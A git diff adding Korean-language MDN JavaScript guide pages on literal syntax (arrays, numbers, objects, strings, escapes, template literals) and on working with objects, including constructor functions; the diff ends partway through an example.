+<p>이 배열은 값이 있는 두 요소와 빈 요소 하나를 가집니다(<code>fish[0]</code>은 "Lion", <code>fish[1]</code>은 <code>undefined</code>, <code>fish[2]</code>는 "Angel").</p>
+
+<p>만약 요소 목록을 후행(trailing) 쉼표로 끝낸다면, 그 쉼표는 무시됩니다. 다음 예제에서, 배열의 길이는 3입니다. <code>myList[3]</code>은 없습니다. 목록의 다른 모든 쉼표는 새로운 요소를 나타냅니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 후행 쉼표는 구버전 브라우저에서 오류를 유발할 수 있으므로 제거하는게 최선입니다.</p>
+</div>
+
+<pre class="brush: js">var myList = ['home', , 'school', ];
+</pre>
+
+<p>아래 예제에서, 배열의 길이는 4이며, <code>myList[0]</code>과 <code>myList[2]</code>는 값이 빠졌습니다.</p>
+
+<pre class="brush: js">var myList = [ , 'home', , 'school'];
+</pre>
+
+<p>아래 예제에서, 배열의 길이는 4이며, <code>myList[1]</code>과 <code>myList[3]</code>은 값이 빠졌습니다. 마지막 쉼표는 무시됩니다.</p>
+
+<pre class="brush: js">var myList = ['home', , 'school', , ];
+</pre>
+
+<p>추가 쉼표의 동작을 이해하는 것은 JavaScript를 언어로서 이해하는데 중요하지만, 코드를 작성할 때는 빠진 요소의 값을 명시적으로 undefined로 선언하는 것이 코드의 명확성과 유지보수성을 높입니다.</p>
+
+<h3 id="불리언_리터럴">불리언 리터럴</h3>
+
+<p>불리언 형은 <code>true</code>와 <code>false</code>의 리터럴 값을 가집니다.</p>
+
+<p>원시 불린 값 <code>true</code> 및 <code>false</code>와 Boolean 객체의 true 및 false 값을 혼동하지 마세요. Boolean 객체는 원시 불린 데이터 형을 감싸는 래퍼(wrapper)입니다. 더 많은 정보는 {{jsxref("Boolean")}}을 참고하세요.</p>
+
+<h3 id="정수_리터럴">정수 리터럴</h3>
+
+<p>정수는 10진, 16진, 8진 및 2진수로 표현될 수 있습니다.</p>
+
+<ul>
+ <li>10진 정수 리터럴은 선행 0(zero)이 아닌 숫자열로 이루어집니다.</li>
+ <li>정수 리터럴에서 선행 0(zero)이나 선행 0o(혹은 0O)은 8진수임을 나타냅니다. 8진 정수는 오직 숫자 0-7만 포함할 수 있습니다.</li>
+ <li>선행 0x(나 0X)는 16진수임을 나타냅니다. 16진 정수는 숫자 0-9 및 문자 a-f, A-F를 포함할 수 있습니다.</li>
+ <li>선행 0b(나 0B)는 2진수임을 나타냅니다. 2진 정수는 오직 숫자 0과 1만 포함할 수 있습니다.</li>
+</ul>
+
+<p>다음은 정수 리터럴 예제입니다.</p>
+
+<pre class="eval">0, 117 및 -345 (10진수)
+015, 0001 및 -0o77 (8진수)
+0x1123, 0x00111 및 -0xF1A7 (16진수)
+0b11, 0b0011 및 -0b11 (2진수)
+</pre>
+
+<p>더 많은 정보는 <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Lexical grammar reference의 Numeric literals</a>를 참고하세요.</p>
+
+<h3 id="부동_소수점_리터럴">부동 소수점 리터럴</h3>
+
+<p>부동 소수점 리터럴은 아래와 같은 부분으로 이루어집니다.</p>
+
+<ul>
+ <li>부호("+"나 "-")가 달릴 수 있는 10진 정수,</li>
+ <li>소수점("."),</li>
+ <li>소수(또 다른 10진수),</li>
+ <li>지수.</li>
+</ul>
+
+<p>지수부는 "e"나 "E" 다음에 오며 부호("+"나 "-")가 달릴 수 있는 정수입니다. 부동 소수점 리터럴은 적어도 숫자 하나와 소수점 혹은 "e"(나 "E")가 있어야 합니다.</p>
+
+<p>더 간결하게 설명하면, 구문은 다음과 같습니다.</p>
+
+<pre class="eval">[(+|-)][digits][.digits][(E|e)[(+|-)]digits]
+</pre>
+
+<p>예를 들면,</p>
+
+<pre class="eval">3.1415926
+-.123456789
+-3.1E+12
+.1e-23
+</pre>
+
+<h3 id="객체_리터럴">객체 리터럴</h3>
+
+<p>객체 리터럴은 중괄호({})로 묶인 0개 이상인 객체의 속성명과 관련 값 쌍 목록입니다. 문의 시작에 객체 리터럴을 사용해서는 안됩니다. 이는 {가 블록의 시작으로 해석되기 때문에 오류를 이끌거나 의도한 대로 동작하지 않습니다.</p>
+
+<p>아래는 객체 리터럴의 예제입니다. <code>car</code> 객체의 첫째 요소는 <code>myCar</code> 속성을 정의하고 문자열 <code>"Saturn"</code>을 할당합니다. 반면 둘째 요소인 <code>getCar</code> 속성은 <code>function (carTypes("Honda"))</code>을 호출한 결과가 즉시 할당됩니다. 셋째 요소 <code>special</code> 속성은 기존 변수 <code>sales</code>를 사용합니다.</p>
+
+<pre class="brush: js">var sales = "Toyota";
+
+function carTypes(name) {
+ if (name === "Honda") {
+ return name;
+ } else {
+
+ }
+ return "Sorry, we don't sell " + name + ".";
+}
+
+var car = { myCar: "Saturn", getCar: carTypes("Honda"), special: sales };
+
+console.log(car.myCar); // Saturn
+console.log(car.getCar); // Honda
+console.log(car.special); // Toyota
+</pre>
+
+<p>게다가, 속성명으로 숫자나 문자열 리터럴을 사용하거나 또다른 객체 리터럴 내부에 객체를 중첩할 수도 있습니다. 아래 예제는 이 옵션을 사용합니다.</p>
+
+<pre class="brush: js">var car = { manyCars: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
+
+console.log(car.manyCars.b); // Jeep
+console.log(car[7]); // Mazda
+</pre>
+
+<p>객체 속성명은 빈 문자열 포함 어떤 문자열도 될 수 있습니다. 속성명이 유효한 JavaScript {{Glossary("식별자")}}나 숫자가 아닌 경우, 따옴표로 묶여야 합니다. 또한 유효한 식별자가 아닌 속성명은 점(<code>.</code>) 속성으로 접근할 수 없습니다. 대신 배열 같은 표기법("<code>[]</code>")으로 접근하고 값을 설정할 수 있습니다.</p>
+
+<pre class="bursh: js">var unusualPropertyNames = {
+ "": "An empty string",
+ "!": "Bang!"
+}
+console.log(unusualPropertyNames.""); // SyntaxError: Unexpected string
+console.log(unusualPropertyNames[""]); // An empty string
+console.log(unusualPropertyNames.!); // SyntaxError: Unexpected token !
+console.log(unusualPropertyNames["!"]); // Bang!
+</pre>
+
+<h4 id="향상된_객체_리터럴">향상된 객체 리터럴</h4>
+
+<p>ES2015에서, 객체 리터럴은 구성에서 프로토타입 설정, foo: foo 할당을 위한 단축 표기, 메서드 정의, super 클래스 호출 및 식으로 동적인 속성명 계산을 지원하기 위해 확장됐습니다. 그에 따라 객체 리터럴 및 클래스 선언이 함께 더 가까워지고, 객체 기반 설계는 같은 일부 편의기능으로 득을 볼 수 있습니다.</p>
+
+<pre class="bursh: js">var obj = {
+ // __proto__
+ __proto__: theProtoObj,
+ // ‘handler: handler’의 단축 표기
+ handler,
+ // Methods
+ toString() {
+ // Super calls
+ return "d " + super.toString();
+ },
+ // Computed (dynamic) property names
+ [ 'prop_' + (() =&gt; 42)() ]: 42
+};</pre>
+
+<p>아래를 참고하세요.</p>
+
+<pre class="brush: js">var foo = {a: "alpha", 2: "two"};
+console.log(foo.a); // alpha
+console.log(foo[2]); // two
+//console.log(foo.2); // Error: missing ) after argument list
+//console.log(foo[a]); // Error: a is not defined
+console.log(foo["a"]); // alpha
+console.log(foo["2"]); // two
+</pre>
+
+<h3 id="정규식_리터럴">정규식 리터럴</h3>
+
+<p>정규식 리터럴은 (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">정규식 상세</a>) 슬래시 사이에 감싸인 패턴입니다. 다음은 정규식 리터럴 예제입니다.</p>
+
+<pre class="brush: js">var re = /ab+c/;</pre>
+
+<h3 id="문자열_리터럴">문자열 리터럴</h3>
+
+<p>문자열 리터럴은 큰 따옴표(<code>"</code>) 혹은 작은 따옴표(<code>'</code>)로 묶인 0개 이상의 문자입니다. 문자열은 같은 형 따옴표, 즉 큰 따옴표 쌍이나 작은 따옴표 쌍으로 구분되어야 합니다. 아래는 문자열 리터럴의 예제입니다.</p>
+
+<pre class="brush: js">"foo"
+'bar'
+"1234"
+"one line \n another line"
+"John's cat"
+</pre>
+
+<p>문자열 리터럴 값은 문자열 객체의 모든 메서드를 호출할 수 있습니다. JavaScript는 자동으로 문자열 리터럴을 임시 문자열 객체로 변환, 메서드를 호출하고 나서 임시 문자열 객체를 폐기합니다. 또한 문자열 리터럴에서도 <code>String.length</code> 속성을 사용할 수 있습니다.</p>
+
+<pre class="brush: js">console.log("John's cat".length)
+// 공백을 포함한 문자열 내 심볼 갯수가 출력됩니다.
+// 여기서는, 10.
+</pre>
+
+<p>ES2015에서는, 템플릿 리터럴도 사용할 수 있습니다. 템플릿 문자열은 문자열 구성을 위한 달콤한 구문을 제공합니다. 이는 Perl, Python 등에 있는 문자열 삽입(interpolation) 기능과 비슷합니다. 마음대로, 문자열 구성을 사용자 정의하고 인젝션 공격을 피하거나 문자열 콘텐츠로 더 고레벨 데이터 구조를 구성하기 위한 태그가 추가될 수 있습니다.</p>
+
+<pre class="brush: js">// 기본적인 문자열 리터럴 생성
+`In JavaScript '\n' is a line-feed.`
+
+// 여러 줄 문자열
+`In JavaScript this is
+ not legal.`
+
+// 문자열 삽입
+var name = "Bob", time = "today";
+`Hello ${name}, how are you ${time}?`
+
+// Construct an HTTP request prefix is used to interpret the replacements and construction
+POST`http://foo.org/bar?a=${a}&amp;b=${b}
+ Content-Type: application/json
+ X-Credentials: ${credentials}
+ { "foo": ${foo},
+ "bar": ${bar}}`(myOnReadyStateChangeHandler);</pre>
+
+<p>꼭 문자열 객체를 사용할 필요가 없는 경우 문자열 리터럴을 사용해야 합니다. 문자열 객체에 대해 자세한 사항은 {{jsxref("String")}}을 참고하세요.</p>
+
+<h4 id="문자열에서_특수_문자_사용">문자열에서 특수 문자 사용</h4>
+
+<p>보통 문자에 더해서, 문자열에 아래 예제와 같이 특수 문자도 포함할 수 있습니다.</p>
+
+<pre class="brush: js">"one line \n another line"
+</pre>
+
+<p>다음 표는 JavaScript 문자열에 사용할 수 있는 특수 문자 목록입니다.</p>
+
+<table>
+ <caption>표: JavaScript 특수 문자</caption>
+ <thead>
+ <tr>
+ <th scope="col">문자</th>
+ <th scope="col">뜻</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>\0</code></td>
+ <td>Null Byte</td>
+ </tr>
+ <tr>
+ <td><code>\b</code></td>
+ <td>Backspace</td>
+ </tr>
+ <tr>
+ <td><code>\f</code></td>
+ <td>Form feed</td>
+ </tr>
+ <tr>
+ <td><code>\n</code></td>
+ <td>New line</td>
+ </tr>
+ <tr>
+ <td><code>\r</code></td>
+ <td>Carriage return</td>
+ </tr>
+ <tr>
+ <td><code>\t</code></td>
+ <td>Tab</td>
+ </tr>
+ <tr>
+ <td><code>\v</code></td>
+ <td>Vertical tab</td>
+ </tr>
+ <tr>
+ <td><code>\'</code></td>
+ <td>Apostrophe 혹은 작은 따옴표</td>
+ </tr>
+ <tr>
+ <td><code>\"</code></td>
+ <td>큰 따옴표</td>
+ </tr>
+ <tr>
+ <td><code>\\</code></td>
+ <td>백슬래시</td>
+ </tr>
+ <tr>
+ <td><code>\<em>XXX</em></code></td>
+ <td>Latin-1 인코딩 문자는 0 - 377 사이 8진수 3자리까지 지정될 수 있습니다. 예를 들어, \251은 copyright 심볼을 표현하는 8진수 시퀀스입니다.</td>
+ </tr>
+ <tr>
+ </tr>
+ <tr>
+ <td><code>\x<em>XX</em></code></td>
+ <td>Latin-1 인코딩 문자는 00 - FF 사이의 16진수 2자리로 지정될 수 있습니다. 예를 들어, \xA9는 copyright 심볼을 표현하는 16진수 시퀀스입니다.</td>
+ </tr>
+ <tr>
+ </tr>
+ <tr>
+ <td><code>\u<em>XXXX</em></code></td>
+ <td>유니코드 문자는 16진수 4자리로 지정될 수 있습니다. 예를 들어, \u00A9는 copyright 심볼을 표현하는 유니코드 열입니다. <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a>를 참고하세요.</td>
+ </tr>
+ <tr>
+ <td><code>\u<em>{XXXXX}</em></code></td>
+ <td>유니코드 코드 포인트 이스케이프. 예를 들어, \u{2F804}는 간단한 유니코드 이스케이프 \uD87E\uDC04와 같습니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="문자_이스케이프">문자 이스케이프</h4>
+
+<p>표에 없는 문자의 경우 전행 백슬래시는 무시되지만, 이 용법은 더 이상 사용되지 않으며, 사용을 피해야 합니다.</p>
+
+<p>전행 백슬래시와 함께 문자열 안에 따옴표를 사용할 수 있습니다. 이것을 따옴표 <em>이스케이프</em>라고 합니다. 예를 들어,</p>
+
+<pre class="brush: js">var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
+console.log(quote);
+</pre>
+
+<p>이 코드의 결과는,</p>
+
+<pre class="eval">He read "The Cremation of Sam McGee" by R.W. Service.
+</pre>
+
+<p>백슬래시를 문자열 내에 포함시키기 위해서는, 백슬래시 문자를 이스케이프 해야 합니다. 예를 들어, 파일 경로 <code>c:\temp</code>를 문자열에 할당하기 위해서는 아래와 같이 사용합니다.</p>
+
+<pre class="brush: js">var home = "c:\\temp";
+</pre>
+
+<p>또한 줄바꿈 역시 전행 백슬래시로 이스케이프할 수 있습니다. 백슬래시와 줄바꿈 모두 문자열 값에서는 사라집니다.</p>
+
+<pre class="brush: js">var str = "this string \
+is broken \
+across multiple\
+lines."
+console.log(str); // this string is broken across multiplelines.
+</pre>
+
+<p>JavaScript에는 "heredoc" 구문은 없지만, 줄바꿈 이스케이프와 각 줄 끝 이스케이프된 줄바꿈을 추가하여 흉내낼 수 있습니다.</p>
+
+<pre class="brush: js">var poem =
+"Roses are red,\n\
+Violets are blue.\n\
+I'm schizophrenic,\n\
+And so am I."
+</pre>
+
+<p>ECMAScript 2015에서는 템플릿 리터럴(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/template_strings"><strong>template literals</strong></a>)이라는 새로운 리터럴이 소개되었습니다. 이 것은 다중 문자열을 포함한 많은 새로운 기능을 가지고 있습니다!</p>
+
+<pre dir="rtl"><code>var poem =
+`Roses are red,
+Violets are blue.
+Sugar is sweet,
+and so is foo.`</code>
+</pre>
+
+<h2 id="추가_정보">추가 정보</h2>
+
+<p>이 장은 선언과 형에 대한 기본 구문에 초점을 맞춥니다. JavaScript 언어 구조에 대해 더 많이 배우려면, 다음 장을 참고하세요.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">흐름 제어와 오류 처리</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration">루프와 반복</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98">함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators">식과 연산자</a></li>
+</ul>
+
+<p>다음 장에서는, 흐름 제어 구조와 오류 처리를 살핍니다.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/소개", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
diff --git a/files/ko/web/javascript/guide/working_with_objects/index.html b/files/ko/web/javascript/guide/working_with_objects/index.html
new file mode 100644
index 0000000000..192e22604c
--- /dev/null
+++ b/files/ko/web/javascript/guide/working_with_objects/index.html
@@ -0,0 +1,500 @@
+---
+title: Working with objects
+slug: Web/JavaScript/Guide/Working_with_Objects
+translation_of: Web/JavaScript/Guide/Working_with_Objects
+---
+<p>자바스크립트는 간단한 객체기반 패러다임 상에서 만들어졌다. 객체는 프로퍼티의 모음이며, 프로퍼티는 "이름"(name 또는 key)과 "값"(value)의 연결로 이루어진다 . 프로퍼티의 값으로 함수가 될 수 있는데, 이런 프로퍼티는 메소드라고 불린다. 브라우저 안에 미리 정의 된 객체뿐 아니라 사용자들이 직접 자신만의 객체를 정의할 수도 있다.</p>
+
+<p class="summary">이 절에서는 객체, 프로퍼티, 함수, 메소드가 어떻게 사용되는지, 그리고 사용자를 위한 새로운 객체를 생성하는 방법을 설명한다</p>
+
+<h2 id="개요">개요</h2>
+
+<p>자바스크립트에서의 객체는 다른 프로그래밍 언어에서와 비슷하게 현실 세계에서의 사물(objects)과 비교해 볼 수 있다. 자바스크립트에서의 객체의 개념은 실세계상에서의 인식 가능한 사물로 이해할 수 있다.</p>
+
+<p>객체는 단독으로 존재 가능한 개체(entity)이며, 프로퍼티(property)과 타입(type)을 가진다. 예를 들어 컵과 비교를 해 본다면 컵은 사물 객체인데 색깔, 모양, 무게, 재료 등의 속성(프로퍼티)을 가지고 있다. 비슷하게 자바스크립트의 객체는 그 특징을 결정짓는 여러 프로퍼티를 가진다.</p>
+
+<h2 id="객체와_프로퍼티">객체와 프로퍼티</h2>
+
+<p><span style="font-size: 14px; line-height: 1.5;">자바스크립트의 객체에는 그와 연관된 프로퍼티가 있다. 프로퍼티는 객체에 붙은 변수(variable)라고 설명할 수 있겠다. 객체의 프로퍼티는 일반 자바스크립의 변수와 기본적으로 똑같은데, 다만 객체에 속해있다는 차이만 있을 뿐이다. 객체의 프로퍼티들이 객체의 특징을 규정한다. 프로퍼티에 접근할 때는 도트(점) 표기법을 사용한다.</span></p>
+
+<pre class="brush: js">objectName.propertyName
+</pre>
+
+<p><span style="font-size: 14.39px; line-height: 16.79px;">자바스크립트의 모든 변수가 그렇듯이, 객체의 이름과 프로퍼티 이름은 모두 대소문자를 구별한다. 프로퍼티를 새로 정의하려면 그냥 이름과 값을 추가하면 된다. 예를 들어</span><span style="font-size: 14px; line-height: 1.5;"> </span><code style="line-height: 1.5; font-size: 14px; font-style: normal;">myCar</code><span style="font-size: 14px; line-height: 1.5;"> </span><span style="font-size: 14.39px; line-height: 16.79px;">라는 이름의 객체를 생성하고, 거기에</span><span style="font-size: 14px; line-height: 1.5;"> </span><code style="line-height: 1.5; font-size: 14px; font-style: normal;">make</code><span style="font-size: 14px; line-height: 1.5;">, </span><code style="line-height: 1.5; font-size: 14px; font-style: normal;">model</code><span style="font-size: 14px; line-height: 1.5;">, and </span><code style="line-height: 1.5; font-size: 14px; font-style: normal;">year</code><span style="font-size: 14px; line-height: 1.5;"> </span><span style="font-size: 14.39px; line-height: 16.79px;">라는 프로퍼티들을 추가해보자:</span></p>
+
+<pre class="brush: js">var myCar = new Object();
+myCar.make = "Ford";
+myCar.model = "Mustang";
+myCar.year = 1969;
+</pre>
+
+<p><span style="font-size: 14px; line-height: 1.5;">대괄호 표기법을 사용하여 객체의 프로퍼티에 접근할 수 있다. 객체는 연관배열(</span><em>associative arrays</em><span style="font-size: 14px; line-height: 1.5;">)이라고도 불리는데, 각 프로퍼티는 하나의 문자열 이름과 연관되어(associated) 이것을 통해 접근할 수 있기 때문이다. 예를 들면 </span><span style="font-family: courier new,andale mono,monospace; font-size: 14.39px; line-height: 16.79px;">myCar</span><span style="font-size: 14px; line-height: 1.5;"> 객체의 프로퍼티에 다음과 같이 접근할 수 있다.</span></p>
+
+<pre class="brush: js">myCar["make"] = "Ford";
+myCar["model"] = "Mustang";
+myCar["year"] = 1969;
+</pre>
+
+<p><span style="font-size: 14px; line-height: 1.5;">객체의 프로퍼티 이름은 유효한 자바스크립트 문자열이거나 문자열로 변환이 가능한 것이면 어떤 것이든 가능하며, 심지어 빈 문자열도 된다. 하지만 자바스크립트 식별자(identifier)로 적합하지 않으면 (예 : 하이픈, 빈칸을 포함하거나 숫자로 시작하는 이름), 대괄호를 이용한 표기법으로만 접근이 가능하다. 이 표기법은 프로퍼티 이름이 사전에 미리 결정되지 않고 런타임 시점에 결정되는 경우에 특히 유용하다. 아래의 예를 보자.</span></p>
+
+<pre class="brush: js">var myObj = new Object(),
+ str = "myString",
+ rand = Math.random(),
+ obj = new Object(); // 변수 4개를 콤마를 사용하여 한번에 생성하고 할당.
+
+myObj.type = "Dot syntax";
+myObj["date created"] = "String with space";
+myObj[str] = "String value";
+myObj[rand] = "Random Number";
+myObj[obj] = "Object";
+myObj[""] = "Even an empty string";
+
+console.log(myObj);
+</pre>
+
+<p><span style="font-size: 14px; line-height: 1.5;">변수에 저장된 문자열을 이용해서도 프로퍼티에 접근할 수 있다.</span></p>
+
+<div style="width: auto;">
+<pre class="brush: js">var propertyName = "make";
+myCar[propertyName] = "Ford";
+
+propertyName = "model";
+myCar[propertyName] = "Mustang";
+</pre>
+</div>
+
+<p>대괄호 표기법을 <a class="internal" href="/ko/docs/JavaScript/Guide/Statements#for...in_Statement" title="ko/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> 과 함께 사용하면 객체의 열거가능한 프로퍼티를 나열할 수 있다. 이것이 어떻게 작동하는지 알기 위해 아래의 함수를 보자. 이 함수는 객체와 객체 이름을 함수의 인자로 전달받아서 객체의 프로퍼티들을 출력해 준다.</p>
+
+<pre class="brush: js">function showProps(obj, objName) {
+ var result = "";
+ for (var i in obj) {
+ if (obj.hasOwnProperty(i)) {
+ result += objName + "." + i + " = " + obj[i] + "\n";
+ }
+ }
+ return result;
+}
+</pre>
+
+<p><code>showProps(myCar, "myCar")</code> 함수를 호출하면 다음과 같은 문자열을 반환한다.</p>
+
+<pre>myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1969</pre>
+
+<h2 id="모든_것이_객체">모든 것이 객체</h2>
+
+<p><span style="font-size: 14px; line-height: 1.5;">자바스크립트 세상에서는 거의 모든 것들이 객체이다. </span><code style="line-height: 16.79px; font-size: 14.39px; font-style: normal;">null</code><span style="font-size: 14.39px; line-height: 16.79px;"> 과 </span><code style="line-height: 16.79px; font-size: 14.39px; font-style: normal;">undefined</code><span style="font-size: 14.39px; line-height: 16.79px;"> 를 제외한 모든 </span><span style="font-size: 14px; line-height: 1.5;">원시 타입도 객체로 취급된다. 이러한 원시 타입들에도 프로퍼티가 추가될 수 있고 (설명 필요: </span><span style="font-size: 14.39px; line-height: 16.79px;">assigned properties of some types are not persistent), 모두 객체로서의 특징을 갖는다.</span></p>
+
+<h2 id="객체의_프로퍼티_나열하기">객체의 프로퍼티 나열하기</h2>
+
+<p><a href="/ko/docs/JavaScript/ECMAScript_5_support_in_Mozilla" title="ko/docs/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5</a> 를 기준으로 객체의 프로퍼티를 나열/순회하는 방법이 세 가지 있다.</p>
+
+<ul>
+ <li><a href="/ko/docs/JavaScript/Reference/Statements/for...in" title="ko/docs/JavaScript/Reference/Statements/for...in">for...in</a> 루프<br>
+ 이 방법은 객체와 객체의 프로토타입 체인 상의 열거 가능한 모든 프로퍼티를 순회한다.</li>
+ <li><a href="/ko/docs/JavaScript/Reference/Global_Objects/Object/keys" title="ko/docs/JavaScript/Reference/Global Objects/Object/keys">Object.keys(o)</a><br>
+ 이 메소드는 객체 <span style="font-family: courier new,andale mono,monospace; font-size: 14.39px; line-height: 16.79px;">o</span><span style="font-size: 14.39px; line-height: 16.79px;"> </span> 자체에 속한(즉 프로토타입 체인 상에 있는 것은 제외)  열거 가능한 프로퍼티 이름들("keys")의 배열을 반환한다.</li>
+ <li><a href="/ko/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="ko/docs/JavaScript/Reference/Global Objects/Object/getOwnPropertyNames">Object.getOwnPropertyNames(o)</a><br>
+ 이 메소드는 객체 <span style="font-family: courier new,andale mono,monospace; font-size: 14.39px; line-height: 16.79px;">o</span> 자체의 모든  프로퍼티(열거 가능 여부에 무관) 이름들의  배열을 반환한다.</li>
+</ul>
+
+<p>ECMAScript 5 이전 버전에서는 객체의 모든 프로퍼티를 나열하는 자체적인 방법이 제공되지 않았다. 하지만 아래 함수를 이용하면 가능하다.</p>
+
+<pre class="brush: js">function listAllProperties(o){
+ var objectToInspect;
+ var result = [];
+
+ for(objectToInspect = o; objectToInspect !== null; objectToInspect = Object.getPrototypeOf(objectToInspect)){
+ result = result.concat(Object.getOwnPropertyNames(objectToInspect));
+ }
+
+ return result;
+}
+</pre>
+
+<p>이 트릭은 객체의 "숨겨진" 프로퍼티를 알아내는 데 유용하다. (숨겨진 프로퍼티란 프로토타입 체인 상의 프로퍼티 중 객체를 통해 접근이 불가능한 것들을 말하는데 동일 이름의 다른 프로퍼티가 프로퍼티 체인 상에서 먼저 존재하는 경우에 발생한다).  만약 접근 가능한 프로퍼티만 나열하고 싶다면 배열에서 중복되는 프로퍼티들을 제거하면 된다.</p>
+
+<h2 id="객체_생성하기">객체 생성하기</h2>
+
+<p>자바스크립트에는 미리 정의된 객체가 몇 개 존재한다. 사용자는 여기에 추가적으로 자신의 객체를 생성할 수 있다. 자바스크립트 1.2 부터는 객체 이니셜라이저(initializer) 를 이용하여 객체를 생성할 수 있다. 또 다른 방법으로는 먼저 생성자 함수를 정의한 후 이 함수와 <code style="font-style: normal;">new</code> 연산자를 이용하여 인스턴스를 만들수 있다.</p>
+
+<p><span style="font-size: 1.71rem; letter-spacing: -0.5px; line-height: 24px;">객체 이니셜라이저</span></p>
+
+<p>생성자 함수를 사용하는 방법 대신, 객체 이니셜라이저를 사용하여 객체를 생성할 수 있다. 이 방식은 때때로 "리터럴 표기에 의한 객체 생성"(creating objects with literal notation) 이라고도 불린다. 객체 이니셜라이저라는 단어는 C++ 에서도 비슷한 의미로 사용된다.</p>
+
+<p><span style="line-height: 1.5;">객체 이니셜라이저를 이용한 객체 생성의 문법은 다음과 같다.</span></p>
+
+<pre class="brush: js">var obj = { property_1: value_1, // property_# may be an identifier...
+ 2: value_2, // or a number...
+ // ...,
+ "property n": value_n }; // or a string </pre>
+
+<p><code>obj</code>는 새로 만들어질 객체 이름이고, <code>property_<em>i</em></code>는 식별자 (이름, 숫자, 또는 스트링 리터럴), <code style="font-style: normal;">value_<em>i</em></code> 는 수식인데 이 값이 <code>property_<em>i</em></code> 에 할당 된다. <code>obj</code> 변수에 할당 (assignment =) 하는 것은 선택 사항이다; 이 생성된 객체를 다른 곳에서 참조할 필요가 없다면 변수에 할당하지 않아도 된다. (만약 이 생성된 객체를 변수를 사용하지 않고 구문 안에서 바로 사용하려면 블럭 구문과 혼돈되지 않도록 리터널을 괄호로 감싸줄 필요가 있다.)</p>
+
+<p>객체 이니셜라이저는 수식이고, 각각의 이니셜라이저가 포함된 구문이 실행될 때 마다 이니셜라이저 수식에 의해 새로운 객체가 하나씩 생성이 된다. 똑같은 이니셜라이저에 의해 생성된 객체라도 서로 별개이며 비교 결과는 동일하지 않음 (not equal) 이 된다. 객체는 마치 <code>new Object()</code> 호출이 실행된 것 처럼 생성이 된다; 즉, 객체 이니셜라이저 수식에 의해 만들어진 객체들은 <code>Object</code>의 인스턴스들이 된다.</p>
+
+<p>다음 문장은 수식<code>cond</code>가 참일 경우 객체를 만들어서 변수 <code>x</code> 에 할당한다:</p>
+
+<pre class="brush: js">if (cond) var x = {hi: "there"};
+</pre>
+
+<p>다음 예제는 <code>myHonda</code>을 생성하고 세개의 속성을 추가한다. <code>engine</code> 속성 역시 자신의 속성들을 가지고 있는 객체이다.</p>
+
+<pre class="brush: js">var myHonda = {color: "red", wheels: 4, engine: {cylinders: 4, size: 2.2}};
+</pre>
+
+<p>객체 이니셜라이저를 이용하여 배열을 만들 수 있다. <a href="/ko/docs/Web/JavaScript/Guide/Values%2C_variables%2C_and_literals#Array_literals">array literals</a> 를 참조하기 바란다.</p>
+
+<p>JavaScript 1.1 과 그 이전 버전에서는, 객체 이니셜라이저를 사용할 수 없었다. 항상 생성자 함수를 쓰거나 생성 목적으로 제공되는 별도 함수를 사용했어야 했다. <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Using_a_constructor_function">Using a constructor function</a> 참고.</p>
+
+<h3 id="생성자_함수_사용하기">생성자 함수 사용하기</h3>
+
+<p>다른 방법으로는 다음 두 단계에 따라 객체를 생성할 수 있다:</p>
+
+<ol>
+ <li>생성자 함수를 작성하여 객체 타입을 정의한다. 객체 타입 이름의 첫 글자는 반드시 대문자를 사용하는 좋은 관례가 있으므로 따르기를 권장한다.</li>
+ <li><code>new</code>를 이용하여 객체의 인스턴스를 생성한다.</li>
+</ol>
+
+<p>객체의 타입을 정의하려면 타입의 이름, 속성(프로퍼티), 메소드 등을 기술하는 함수를 하나 만들어야 한다. 예를 들면, 여러분이 자동차를 위한 객체 타입을 만들기 원한다면, 이 객체의 타입의 이름은 <code>car</code>이고, 이 타입은 제조사, 모델, 생산연도를 위한 속성을 포함하길 원할 것이다. 아마도 다음과 같은 함수를 작성하게 될 것이다:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+}
+</pre>
+
+<p>함수 인자로 전달 받은 값을 객체의 속성에 할당하기 위해서 <code>this</code>를 사용 한 것에 주목하기 바란다.</p>
+
+<p>이제 다음과 같이 하여 <code>mycar</code>라는 이름의 객체를 생성할 수 있다:</p>
+
+<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
+</pre>
+
+<p>이 문장은 <code>mycar</code>를 만들고 특정 값들을 속성으로 할당하고 있다. 이렇게 하면 <code>mycar.make</code>의 값은 문자열 "Eagle" 이 되고, <code>mycar.year</code>는 정수 1993 이 된다.</p>
+
+<p><code>new</code>를 이용하면 어떤 갯수의 <code>car</code> 객체도 만들 수 있다. 예를 들면 다음과 같다.</p>
+
+<pre class="brush: js">var kenscar = new Car("Nissan", "300ZX", 1992);
+var vpgscar = new Car("Mazda", "Miata", 1990);
+</pre>
+
+<p>객체는 또 다른 객체를 속성으로 가질 수 있다. 예를 들어 여러분이 <code>person</code> 이라는 객체를 다음과 같이 정의를 했고:</p>
+
+<pre class="brush: js">function Person(name, age, sex) {
+ this.name = name;
+ this.age = age;
+ this.sex = sex;
+}
+</pre>
+
+<p>그리고 두 개의 새 <code>person</code> 객체의 인스턴스를 만들었다고 하면:</p>
+
+<pre class="brush: js">var rand = new Person("Rand McKinnon", 33, "M");
+var ken = new Person("Ken Jones", 39, "M");
